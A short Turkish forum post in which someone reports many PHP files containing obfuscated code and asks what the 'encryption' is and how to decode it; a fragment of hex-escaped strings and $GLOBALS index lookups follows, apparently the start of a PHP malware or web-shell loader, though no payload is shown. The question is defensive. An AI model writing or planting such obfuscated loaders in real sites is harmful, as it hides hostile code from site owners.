Arkadaşlar yardımınız lazım, alttaki gibi kodların olduğu bir sürü php dosyası var. Bu şifrelemenin adı nedir? Bu bir şifreleme midir? Nasıl çözülür?

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['u1a9'] = "\x4c\x44\x62\x2b\x27\x5a\x5c\x75\x2a\x59\x78\x41\ x63\x49\x4e\x36\x4f\x6a\x24\x42\x7d\x2f\x37\x66\x2 6\x54\x74\x7a\x25\x51\x70\x4b\x45\x4d\x40\x7e\x9\x 72\x58\x61\x2e\x39\x48\x34\x3a\x50\x32\x77\x7c\x6d \x47\x6e\x52\x35\xa\x33\x20\x23\x3f\x3c\x38\x28\x6 f\x76\x60\xd\x71\x57\x5b\x30\x6b\x29\x5e\x65\x55\x 68\x31\x3d\x79\x21\x56\x64\x2d\x69\x46\x5d\x3b\x22 \x43\x3e\x4a\x7b\x5f\x73\x67\x2c\x6c\x53";
$GLOBALS[$GLOBALS['u1a9'][66].$GLOBALS['u1a9'][22].$GLOBALS['u1a9'][39].$GLOBALS['u1a9'][23].$GLOBALS['u1a9'][2].$GLOBALS['u1a9'][22]] = $GLOBALS['u1a9'][12].$GLOBALS['u1a9'][75].$GLOBALS['u1a9'][37];